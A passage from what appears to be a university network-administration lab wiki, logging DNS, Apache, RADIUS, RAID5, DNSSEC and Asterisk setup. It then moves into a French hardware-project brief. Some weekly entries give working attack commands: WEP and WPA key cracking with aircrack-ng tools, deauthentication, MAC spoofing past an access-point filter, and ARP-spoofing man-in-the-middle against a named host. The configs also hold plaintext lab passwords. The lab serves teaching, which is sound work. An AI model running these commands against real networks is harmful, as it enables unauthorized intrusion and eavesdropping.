|&amp;lt;pre&amp;gt;&lt;br /&gt;
domain troisiemesexe.lol&lt;br /&gt;
search troisiemesexe.lol&lt;br /&gt;
nameserver 127.0.0.1&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
/etc/bind/db.troisiemesexe.lol:&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
$TTL            604800&lt;br /&gt;
@       IN      SOA     ns1.troisiemesexe.lol. admin.troisiemesexe.lol. (&lt;br /&gt;
                         2015101705     ; Serial&lt;br /&gt;
                         900            ; Refresh&lt;br /&gt;
                         28800          ; Retry&lt;br /&gt;
                         604800         ; Expire&lt;br /&gt;
                         86400 )        ; Minimum&lt;br /&gt;
&lt;br /&gt;
@               IN      A       193.48.57.161&lt;br /&gt;
;@              IN      AAAA    ::1&lt;br /&gt;
&lt;br /&gt;
@               IN      NS      ns1.troisiemesexe.lol.&lt;br /&gt;
@               IN      NS      ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
ns1             IN      A       193.48.57.161&lt;br /&gt;
;ns1            IN      AAAA    :::1&lt;br /&gt;
&lt;br /&gt;
westmalle       IN      A       193.48.57.161&lt;br /&gt;
arch            IN      A       193.48.57.174   ;arch -&amp;gt; router&lt;br /&gt;
www             IN      A       193.48.57.161&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
/etc/bind/named.conf.local:&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
zone &amp;quot;troisiemesexe.lol&amp;quot; IN {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.troisiemesexe.lol&amp;quot;;&lt;br /&gt;
        allow-transfer {217.70.177.40;};&lt;br /&gt;
        allow-query {any;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
And then, we configured the apache &amp;lt;code&amp;gt;VirtualHosts&amp;lt;/code&amp;gt;. If the server receives an &amp;lt;code&amp;gt;HTTP&amp;lt;/code&amp;gt; request on port 80, it will rewrite the URL to &amp;lt;code&amp;gt;HTTPS&amp;lt;/code&amp;gt; on port 443.&lt;br /&gt;
&lt;br /&gt;
/etc/apache2/sites-available/troisiemesexe.lol.conf:&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName   troisiemesexe.lol&lt;br /&gt;
        ServerAlias  www.troisiemesexe.lol      *.troisiemesexe.lol&lt;br /&gt;
        ServerAdmin  root@troisiemesexe.lol&lt;br /&gt;
        DocumentRoot /var/www/troisiemesexe.lol&lt;br /&gt;
&lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log  combined&lt;br /&gt;
&lt;br /&gt;
        RewriteEngine on&lt;br /&gt;
        ReWriteCond  %{HTTP_HOST}   !^(westmalle|ns1) [NC]&lt;br /&gt;
        ReWriteCond  %{SERVER_PORT} !^443$&lt;br /&gt;
        RewriteRule  ^/(.*)         https://%{HTTP_HOST}/$1 [NC,R=301,L]&lt;br /&gt;
&lt;br /&gt;
        RewriteRule  ^(.*)$         https://www.troisiemesexe.lol$1 [R=301,L]&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_ssl.c&amp;gt;&lt;br /&gt;
        &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
                ServerName   troisiemesexe.lol&lt;br /&gt;
                ServerAlias  www.troisiemesexe.lol&lt;br /&gt;
                ServerAdmin  root@troisiemesexe.lol&lt;br /&gt;
                DocumentRoot /var/www/troisiemesexe.lol&lt;br /&gt;
&lt;br /&gt;
                ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
                CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
&lt;br /&gt;
                SSLEngine               on&lt;br /&gt;
                SSLCertificateFile      /etc/ssl/certs/troisiemesexe.lol.crt&lt;br /&gt;
                SSLCertificateKeyFile   /etc/ssl/private/troisiemesexe.lol.key&lt;br /&gt;
                SSLCertificateChainFile /etc/ssl/certs/GandiStdSSLCA2.pem&lt;br /&gt;
                SSLVerifyClient         None&lt;br /&gt;
        &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
To enable the site, we used the command:&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
a2ensite troisiemesexe.lol&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
===Week 4 (22/10/2015)===&lt;br /&gt;
Configuration of wireless network in &amp;lt;code&amp;gt;eeePC&amp;lt;/code&amp;gt; by editing the the file in &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
auto wlan0&lt;br /&gt;
iface wlan0 inet static&lt;br /&gt;
	wireless-essid	troubadour&lt;br /&gt;
	wireless-mode   managed&lt;br /&gt;
	address		192.168.1.2&lt;br /&gt;
	netmask		255.255.255.0&lt;br /&gt;
	gateway		192.168.1.1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Since a MAC address filter was implemented, we had to change our eeePC's original MAC address to the one found in ACL of the Cisco Access Point as below:&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
ifconfig wlan0 hw ether 00:15:AF:E6:ED:C4&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
===Week 5  (12/11/2015)===&lt;br /&gt;
====Cracking the WEP key ====&lt;br /&gt;
&lt;br /&gt;
*We started airmon-ng in wlan0&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airmon-ng start wlan0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
*We killed the process that has been using the airmon-ng utility in wlan0:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airmon-ng check kill&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
*Then, we analyzed the visible networks in wlan0&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng wlan0mon&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
*Our target is cracotte01. And we'll be storing (all the packets to the destination of 00:23:5E:1E:05:40 ) in the file fromage.cap &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng --essid cracotte01 --write fromage -c 7 --bssid 00:23:5E:1E:05:40 wlan0mon&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
*While the output was being stored in the file, we opened a new terminal and launched another command to decode those packets and store them in a file called KEY.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
aircrack-ng -l KEY -s -f 15 fromage-01.cap&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
*Result of the WEP crack:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
55555555555555555555555551&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Week 6  (19/11/2015)===&lt;br /&gt;
====Cracking WPA key====&lt;br /&gt;
*First of all, we had to generate a dictionary to crack the WPA key. Aircrack-ng isn't capable of generating the dictionary. So, we used &amp;lt;code&amp;gt;crunch&amp;lt;/code&amp;gt;, which is an utility used to generate list of keys using a certain pattern. We used crunch to generate list of keys of a minimum (and maximum) length of 8 characters . The result, stored in the file &amp;lt;code&amp;gt;dico.txt&amp;lt;/code&amp;gt;, starts at 00000000 and ends at 999999999.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
*To sniff the wireless network:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airmon-ng start wlan0 &lt;br /&gt;
airmon-ng check kill&lt;br /&gt;
airodump-ng wlan0mon #on sniffe tous les flux wifi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
*We were trying to crack the &amp;quot;cracotte01&amp;quot; network:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng --essid cracotte01 -c 12 --bssid 04:DA:D2:9C:50:50 -w dump wlan0mon&lt;br /&gt;
#-c : channel;&lt;br /&gt;
#-w : storage file; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
*Result:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CH 12 ][ Elapsed: 54 s ][ 2015-11-19 11:35 ][ WPA handshake: 04:DA:D2:9C:50:50                                         &lt;br /&gt;
                                                                                                                                                                               &lt;br /&gt;
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
                                                                                                                                                                               &lt;br /&gt;
 04:DA:D2:9C:50:50  -49  11      522       71    0  12  54e. WPA2 CCMP   PSK  cracotte01                                                                                       &lt;br /&gt;
                                                                                                                                                                               &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                                                     &lt;br /&gt;
                                                                                                                                                                               &lt;br /&gt;
 04:DA:D2:9C:50:50  00:0F:B5:92:22:68  -59   54e- 1e     0       49 &lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*And then, we used aireplay-ng utility to crack the key from the dump file:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
aireplay-ng --deauth=5 -a 04:DA:D2:9C:50:50 wlan0mon&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
*Result:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
11:53:17  Waiting for beacon frame (BSSID: 04:DA:D2:9C:50:50) on channel 12&lt;br /&gt;
NB: this attack is more effective when targeting&lt;br /&gt;
a connected wireless client (-c &amp;lt;client's mac&amp;gt;).&lt;br /&gt;
11:53:17  Sending DeAuth to broadcast -- BSSID: [04:DA:D2:9C:50:50]&lt;br /&gt;
11:53:17  Sending DeAuth to broadcast -- BSSID: [04:DA:D2:9C:50:50]&lt;br /&gt;
11:53:18  Sending DeAuth to broadcast -- BSSID: [04:DA:D2:9C:50:50]&lt;br /&gt;
11:53:18  Sending DeAuth to broadcast -- BSSID: [04:DA:D2:9C:50:50]&lt;br /&gt;
11:53:19  Sending DeAuth to broadcast -- BSSID: [04:DA:D2:9C:50:50]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*We used the dico.txt file (which is the dictionary) to decode the dump-01.cap file:  &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
aircrack-ng dump-01.cap -w dico.txt -l KEY&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Result: &amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Aircrack.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Week 7 (26/11/2015) ===&lt;br /&gt;
==== FreeRadius + AP ====&lt;br /&gt;
To authenticate via PEAP-TLS, it's important to modify the default_eap_type to peap in the configuration &amp;lt;code&amp;gt;eap.conf&amp;lt;/code&amp;gt; file:&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
default_eap_type = peap&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Then, users' list need to be added for Radius Authentication in the &amp;lt;code&amp;gt;users&amp;lt;/code&amp;gt; file:&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
magesh     Cleartext-Password := &amp;quot;h3ll0&amp;quot;&lt;br /&gt;
           Reply-Message = &amp;quot;Hello, %{User-Name}&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Now we had to add clients (both Access Points at 10.10.10.1 and 10.10.10.2) to the &amp;lt;code&amp;gt;clients.conf&amp;lt;/code&amp;gt; file :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;	&lt;br /&gt;
client 10.10.10.1 {&lt;br /&gt;
   secret     = mys3cr3t&lt;br /&gt;
   shortname  = vlan_1_e304&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
client 10.10.10.2 {&lt;br /&gt;
   secret     = mys3cr3t2&lt;br /&gt;
   shortname  = vlan_1_e306&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
At last, it was time we configured both Access Points (10.10.10.1 and 10.10.10.2) to enable SSID diffusion &lt;br /&gt;
and Radius authentication&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
aaa new-model&lt;br /&gt;
!&lt;br /&gt;
aaa group server radius radius_group_HnM&lt;br /&gt;
   server name radius_westmalle&lt;br /&gt;
!&lt;br /&gt;
aaa authentication login eap_HnM group radius_group_HnM&lt;br /&gt;
!&lt;br /&gt;
dot11 ssid HnM&lt;br /&gt;
vlan 11&lt;br /&gt;
   authentication open eap eap_HnM&lt;br /&gt;
   authentication network-eap eap_HnM&lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
!&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
   encryption vlan 11 mode ciphers aes-ccm tkip&lt;br /&gt;
   ssid HnM&lt;br /&gt;
   mbssid&lt;br /&gt;
!&lt;br /&gt;
interface Dot11Radio0.11&lt;br /&gt;
   encapsulation dot1Q 11&lt;br /&gt;
   bridge-group 11&lt;br /&gt;
!&lt;br /&gt;
interface GigabitEthernet0.11&lt;br /&gt;
   encapsulation dot1Q 11&lt;br /&gt;
   bridge-group 11&lt;br /&gt;
!&lt;br /&gt;
radius server radius_westmalle&lt;br /&gt;
   address ipv4 193.48.57.161 auth-port 1812 acct-port 1813&lt;br /&gt;
   key 7 11081D3313015C0E&lt;br /&gt;
!&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
To connect to the Acces Point with eeePC, these changes had to be made to the file &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
auto wlan0&lt;br /&gt;
iface wlan0&lt;br /&gt;
   wpa-ssid HnM&lt;br /&gt;
   wpa-key-mgmt WPA-EAP&lt;br /&gt;
   wpa-identity magesh&lt;br /&gt;
   wpa-password h3ll0&lt;br /&gt;
   address 172.20.11.1&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
   gateway 172.20.11.254&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==== RAID5 ====&lt;br /&gt;
To enable hard disk redundancy (and fault-tolerance), we configured three logical volumes in the host machine :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
lvcreate -L 1G -n /dev/virtual/ima5-westmalle-raid5-1&lt;br /&gt;
lvcreate -L 1G -n /dev/virtual/ima5-westmalle-raid5-2&lt;br /&gt;
lvcreate -L 1G -n /dev/virtual/ima5-westmalle-raid5-3&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
This logical volumes had to be included in the Xen configuration file &amp;lt;code&amp;gt;/etc/xen/WESTMALLE.cfg&amp;lt;/code&amp;gt;:&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
disk  = [&lt;br /&gt;
            'file:/usr/local/xen/domains/WESTMALLE/disk.img,xvda2,w',&lt;br /&gt;
            'file:/usr/local/xen/domains/WESTMALLE/swap.img,xvda1,w',&lt;br /&gt;
            'phy:/dev/virtual/ima5-westmalle-raid5-1,xvdb,w',&lt;br /&gt;
            'phy:/dev/virtual/ima5-westmalle-raid5-2,xvdc,w',&lt;br /&gt;
            'phy:/dev/virtual/ima5-westmalle-raid5-3,xvdd,w',&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
In the Xen virtual machine, we created RAID-5 volume /dev/md0 :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvd[bcd]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
But, after a system restart /dev/md0 had been automatically renamed to /dev/md127. Thus, we had to create a ext4 filesystem based on md127 and not md0.&lt;br /&gt;
{| width=10%&lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
mkfs.ext4 /dev/md127&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
To make sure the persistence of the mounted volume, we had to modify mdadm configuration file (/etc/mdadm/mdadm.conf) and file systems table.&lt;br /&gt;
{| width=10%&lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
mdadm --detail --scan &amp;gt;&amp;gt; /etc/mdadm/mdadm.conf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
And in &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; we added the following line :&lt;br /&gt;
{| width=10%&lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
# &amp;lt;file system&amp;gt;  &amp;lt;mount point&amp;gt;   &amp;lt;type&amp;gt;   &amp;lt;options&amp;gt;       &amp;lt;dump&amp;gt;  &amp;lt;pass&amp;gt;&lt;br /&gt;
   /dev/md127   /media/raid_vol   ext4     defaults          0       0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
TO enable DNSSEC, we modified the named.conf.options file as below :&lt;br /&gt;
{| width=10%&lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
dnssec-enable yes;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
Then, we generated a &amp;lt;abbr title=&amp;quot;Key-Signing Key&amp;quot;&amp;gt;KSK&amp;lt;/abbr&amp;gt; and &amp;lt;abbr title=&amp;quot;Zone-Signing Key&amp;quot;&amp;gt;ZSK&amp;lt;/abbr&amp;gt; file (and renamed them) which will be used to sign our zone.&lt;br /&gt;
{| width=10%&lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE troisiemesexe.lol&lt;br /&gt;
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE troisiemesexe.lol&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Then, the following lines were added to include the signed key in the DNS zone file &amp;lt;code&amp;gt;/etc/bind/db.troisiemesexe.lol&amp;lt;/code&amp;gt; :&lt;br /&gt;
{| width=10%&lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
$include /etc/bind/troisiemesexe.lol.dnssec/troisiemesexe.lol-ksk.key&lt;br /&gt;
$include /etc/bind/troisiemesexe.lol.dnssec/troisiemesexe.lol-zsk.key&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
And, the zone file was signed using the command :&lt;br /&gt;
{| width=10%&lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
dnssec-signzone -o troisiemesexe.lol -k troisiemesexe.lol-ksk ../db.troisiemesexe.lol troisiemesexe.lol-zsk&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
To use the signed zone file instead of the unsigned one, we modified named.conf.local file :&lt;br /&gt;
{| width=10%&lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
zone &amp;quot;troisiemesexe.lol&amp;quot; IN {&lt;br /&gt;
   ...&lt;br /&gt;
   file &amp;quot;/etc/bind/db.troisiemesexe.lol.signed&amp;quot;;&lt;br /&gt;
   ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
And then, we copied the ZSK and KSK key file to Gandi's DNSSEC section.&lt;br /&gt;
&lt;br /&gt;
==== Asterisk ====&lt;br /&gt;
To reject unidentified calls, sip.conf had to be edited :&lt;br /&gt;
{| width=10%&lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
[general]&lt;br /&gt;
allowguest=no&lt;br /&gt;
alwaysauthreject=yes&lt;br /&gt;
contactacl=local_ip_acl&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;contactacl&amp;lt;/code&amp;gt; parameter is used to filter calls from certain IP address. We wanted to limit the calls between the local systems. So we added the ACL to permit only private IP addresses in the &amp;lt;code&amp;gt;/etc/asterisk/acl.conf&amp;lt;/code&amp;gt; :&lt;br /&gt;
{| width=10%&lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
[local_ip_acl]&lt;br /&gt;
   deny=0.0.0.0/0.0.0.0&lt;br /&gt;
   permit=10.0.0.0/255.0.0.0&lt;br /&gt;
   permit=172.16.0.0/255.240.0.0&lt;br /&gt;
   permit=192.168.0.0/255.255.0.0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
The user configuration file needed some modification so that a SIP connection could be established. For that, we modified the file &amp;lt;code&amp;gt;/etc/asterisk/users.conf&amp;lt;/code&amp;gt; and added few extensions (such as 101, 102.. which were attributed for certain username) : &lt;br /&gt;
{| width=10%&lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
[general]&lt;br /&gt;
userbase = 100&lt;br /&gt;
hasvoicemail = yes&lt;br /&gt;
vmsecret = mys3cr3t&lt;br /&gt;
hassip = yes&lt;br /&gt;
hasiax = yes&lt;br /&gt;
hasmanager = no&lt;br /&gt;
&lt;br /&gt;
callwaiting = yes&lt;br /&gt;
threewaycalling = yes&lt;br /&gt;
callwaitingcallerid = yes&lt;br /&gt;
transfer = yes&lt;br /&gt;
canpark = yes&lt;br /&gt;
cancallforward = yes&lt;br /&gt;
callreturn = yes&lt;br /&gt;
callgroup = 1&lt;br /&gt;
pickupgroup = 1&lt;br /&gt;
&lt;br /&gt;
[template](!)&lt;br /&gt;
type=friend&lt;br /&gt;
host=dynamic&lt;br /&gt;
dtmfmode=rfc2833&lt;br /&gt;
context = tpima5&lt;br /&gt;
&lt;br /&gt;
[101]&lt;br /&gt;
fullname = Magesh S&lt;br /&gt;
defaultuser = magesh&lt;br /&gt;
secret = s3cr3t&lt;br /&gt;
&lt;br /&gt;
[102]&lt;br /&gt;
fullname = Hideo V&lt;br /&gt;
defaultuser = hideo&lt;br /&gt;
secret = s3cr3t&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Configuration of extensions.conf file :&lt;br /&gt;
{| width=10%&lt;br /&gt;
|&amp;lt;pre&amp;gt;&lt;br /&gt;
[tpima5]&lt;br /&gt;
exten =&amp;gt; _1XX,1,Dial(SIP/${EXTEN},10)&lt;br /&gt;
exten =&amp;gt; _1XX,2,Hangup()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
=== Week 8 (30/11/2015) ===&lt;br /&gt;
==== MITM ====&lt;br /&gt;
*To identify the router's IP address:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ip route show&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Result:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
default via 172.26.79.254 dev eth0 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The route's virtual IP is 172.26.79.254&lt;br /&gt;
*To identify the target's IP:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#dig zabeth04.insecure.deule.net&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Result:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
zabeth04.insecure.private.direct.deule.net. 3600 IN A 172.26.75.157&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Target's IP address is 172.26.75.157.&lt;br /&gt;
*Before sniffing the network, we had to authorize IP forwarding:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
*We opened 2 terminals:&lt;br /&gt;
First terminal:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
arpspoof -i eth0 -t  172.26.79.254 172.26.75.157&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Second terminal:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
arpspoof -i eth0 -t 172.26.75.157 172.26.79.254&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== DHCP for vlan ====&lt;br /&gt;
On the other hand, we configured DHCP in the router so that clients (ex: mobile phone) which couldn't be configured with static IP, will be given IP addresses automatically. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ip dhcp excluded-address 172.20.11.1 172.20.11.10&lt;br /&gt;
&lt;br /&gt;
ip dhcp pool dhcp_pool_vlan11&lt;br /&gt;
   network 172.20.11.0 255.255.255.0&lt;br /&gt;
   default-router 172.20.11.254&lt;br /&gt;
   dns-server 193.48.57.48 193.48.57.33&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Tuto4.PNG&amp;diff=27250</id>
		<title>Fichier:Tuto4.PNG</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Tuto4.PNG&amp;diff=27250"/>
				<updated>2016-02-16T16:09:21Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27246</id>
		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27246"/>
				<updated>2016-02-16T15:47:28Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* 3)Proposition de solutions et argumentaire */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
